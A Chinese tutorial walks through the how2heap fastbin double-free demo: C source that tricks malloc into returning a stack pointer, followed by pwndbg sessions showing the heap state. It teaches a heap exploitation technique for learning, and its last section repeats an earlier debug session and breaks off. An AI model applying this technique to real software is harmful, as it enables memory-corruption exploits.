从零开始学howtoheap:fastbins的double-free攻击实操1

2024-02-11 21:20

本文主要是介绍从零开始学howtoheap:fastbins的double-free攻击实操1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的double-free攻击

下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。更具体地展示了上一个程序从零开始学howtoheap:理解fastbins的double-free攻击-CSDN博客所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

2.fastbin_dup_into_stack程序

​ 这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

​ 源码如下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main()
{fprintf(stderr, "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n");unsigned long long stack_var;fprintf(stderr, "我们想通过 malloc 申请到 %p.\n", 8+(char *)&stack_var);fprintf(stderr, "先申请3 个 chunk\n");char* a = malloc(8);strcpy(a, "AAAAAAAA");char* b = malloc(8);strcpy(b, "BBBBBBBB");char* c = malloc(8);strcpy(c, "CCCCCCCC");fprintf(stderr, "chunk a: %p\n", a);fprintf(stderr, "chunk b: %p\n", b);fprintf(stderr, "chunk c: %p\n", c);fprintf(stderr, "free 掉 chunk a\n");free(a);fprintf(stderr, "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n", a, a);// free(a);fprintf(stderr, "先对 b %p 进行 free\n", b);free(b);fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);free(a);fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);unsigned long long *d = malloc(8);fprintf(stderr, "第一次 malloc(8): %p\n", d);char* e = malloc(8);strcpy(e, "EEEEEEEE");fprintf(stderr, "第二次 malloc(8): %p\n", e);fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);stack_var = 0x20;fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));char* f = malloc(8);strcpy(f, "FFFFFFFF");fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);char* g = malloc(8);strcpy(g, "GGGGGGGG");fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
}

3.调试fastbin_dup_into_stack

3.1 获得可执行程序 

gcc -g fastbin_dup_into_stack.c -o fastbin_dup_into_stack

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_into_stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_into_stack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
[Inferior 1 (process 147) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 下相应的断点并走起

三次malloc之后

pwndbg> b 20
Breakpoint 1 at 0x400786: file fastbin_dup_into_stack.c, line 20.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunkBreakpoint 1, main () at fastbin_dup_into_stack.c:20
20          fprintf(stderr, "chunk a: %p\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603050 ◂— 'CCCCCCCC'RBX  0x0RCX  0x4343434343434343 ('CCCCCCCC')RDX  0x603050 ◂— 'CCCCCCCC'RDI  0x0RSI  0x603060 ◂— 0x0R8   0x603000 ◂— 0x0R9   0xdR10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x603060 ◂— 0x0R11  0x0R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400786 (main+224) ◂— 0x48002018d3058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400786 <main+224>    mov    rax, qword ptr [rip + 0x2018d3] <0x602060>0x40078d <main+231>    mov    rdx, qword ptr [rbp - 0x40]0x400791 <main+235>    mov    esi, 0x400b640x400796 <main+240>    mov    rdi, rax0x400799 <main+243>    mov    eax, 00x40079e <main+248>    call   fprintf@plt <0x400570>0x4007a3 <main+253>    mov    rax, qword ptr [rip + 0x2018b6] <0x602060>0x4007aa <main+260>    mov    rdx, qword ptr [rbp - 0x38]0x4007ae <main+264>    mov    esi, 0x400b710x4007b3 <main+269>    mov    rdi, rax0x4007b6 <main+272>    mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c15     char* b = malloc(8);16     strcpy(b, "BBBBBBBB");17     char* c = malloc(8);18     strcpy(c, "CCCCCCCC");19     ► 20     fprintf(stderr, "chunk a: %p\n", a);21     fprintf(stderr, "chunk b: %p\n", b);22     fprintf(stderr, "chunk c: %p\n", c);23 24     fprintf(stderr, "free 掉 chunk a\n");25     free(a);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x0
02:0010│      0x7fffffffe570 —▸ 0x603010 ◂— 'AAAAAAAA'
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'BBBBBBBB'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400786 main+224f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:20
pwndbg> parsehead
Undefined command: "parsehead".  Try "help".
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> head
Undefined command: "head".  Try "help".
pwndbg> heap
heapbase : 0x603000
pwndbg> x/20gx 0x603000                                                                                                                                                                                            
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4141414141414141      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4242424242424242      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> 
3.3.2​ 三次 free 之后

可以看到由于 double free 造成的循环的指针。 

pwndbg> b 35
Breakpoint 2 at 0x40087a: file fastbin_dup_into_stack.c, line 35.
pwndbg> rpwndbg> c
Continuing.
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了Breakpoint 2, main () at fastbin_dup_into_stack.c:35
35          fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603020 ◂— 0x0RBX  0x0RCX  0x7ffff7b04200 (__openat_2+16) ◂— cmp    eax, 0x410000 /* '=' */RDX  0x603020 ◂— 0x0RDI  0xffffffffRSI  0x7ffff7dd1b28 (main_arena+8) —▸ 0x603000 ◂— 0x0R8   0x603010 —▸ 0x603020 ◂— 0x0R9   0x0R10  0xe4acace7849ae720R11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x40087a (main+468) ◂— 0x48002017df058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x40087a <main+468>    mov    rax, qword ptr [rip + 0x2017df] <0x602060>0x400881 <main+475>    mov    rdi, qword ptr [rbp - 0x40]0x400885 <main+479>    mov    rsi, qword ptr [rbp - 0x40]0x400889 <main+483>    mov    rcx, qword ptr [rbp - 0x38]0x40088d <main+487>    mov    rdx, qword ptr [rbp - 0x40]0x400891 <main+491>    mov    r9, rdi0x400894 <main+494>    mov    r8, rsi0x400897 <main+497>    mov    esi, 0x400c800x40089c <main+502>    mov    rdi, rax0x40089f <main+505>    mov    eax, 00x4008a4 <main+510>    call   fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c30     free(b);31 32     fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);33     free(a);34 ► 35     fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);36     unsigned long long *d = malloc(8);37 38     fprintf(stderr, "第一次 malloc(8): %p\n", d);39     char* e = malloc(8);40     strcpy(e, "EEEEEEEE");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x0
02:0010│      0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│      0x7fffffffe578 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           40087a main+468f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:35
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed           0x603000              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x0000000000603000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 
 3.3.3​ 这时候我们再去malloc两次

还剩一个指向chunk a的free chunk,而前面我们也申请到了指向它的 chunk d,可以通过它编辑chunk a的fd 指针,填充一个有意义的地址:栈地址减0x8(因为伪造的chunk要有个 size,size在&stack_var - 0x8的位置上)

​ *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

通过调试我们可以看到,地址为0x603000chunkfd指针指向的是栈上的地址,这样的话,malloc一次之后再次申请的时候就会申请到fd指针指向的0x7fffffffe560

pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47          *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x62RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x62R10  0x32783020a29de98dR11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400973 <main+717>    lea    rax, [rbp - 0x48]0x400977 <main+721>    sub    rax, 80x40097b <main+725>    mov    rdx, rax0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]0x400982 <main+732>    mov    qword ptr [rax], rdx0x400985 <main+735>    mov    edi, 80x40098a <main+740>    call   malloc@plt <0x400580>0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]0x400997 <main+753>    movabs rcx, 0x46464646464646460x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c42     fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);43     fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);44     stack_var = 0x20;45 46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);► 47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48     49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400973 main+717f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed 0x4545454545454545              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49          char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x62R10  0x32783020a29de98dR11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400973 <main+717>    lea    rax, [rbp - 0x48]0x400977 <main+721>    sub    rax, 80x40097b <main+725>    mov    rdx, rax0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]0x400982 <main+732>    mov    qword ptr [rax], rdx► 0x400985 <main+735>    mov    edi, 80x40098a <main+740>    call   malloc@plt <0x400580>0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]0x400997 <main+753>    movabs rcx, 0x46464646464646460x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c44     stack_var = 0x20;45 46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48     ► 49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);53     strcpy(g, "GGGGGGGG");54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│          0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│          0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│          0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│          0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│          0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│          0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│          0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400985 main+735f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x00007fffffffe560      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed     0x7fffffffe560              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 

3.3.4  

最后可以看到我们已经分配栈上的内存,绕过fastbin的大小检查,并写入了数据GGGGGGGG。

pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47          *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x62RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x62R10  0x32783020a29de98dR11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400973 <main+717>    lea    rax, [rbp - 0x48]0x400977 <main+721>    sub    rax, 80x40097b <main+725>    mov    rdx, rax0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]0x400982 <main+732>    mov    qword ptr [rax], rdx0x400985 <main+735>    mov    edi, 80x40098a <main+740>    call   malloc@plt <0x400580>0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]0x400997 <main+753>    movabs rcx, 0x46464646464646460x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c42     fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);43     fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);44     stack_var = 0x20;45 46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);► 47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48     49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400973 main+717f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed 0x4545454545454545              None
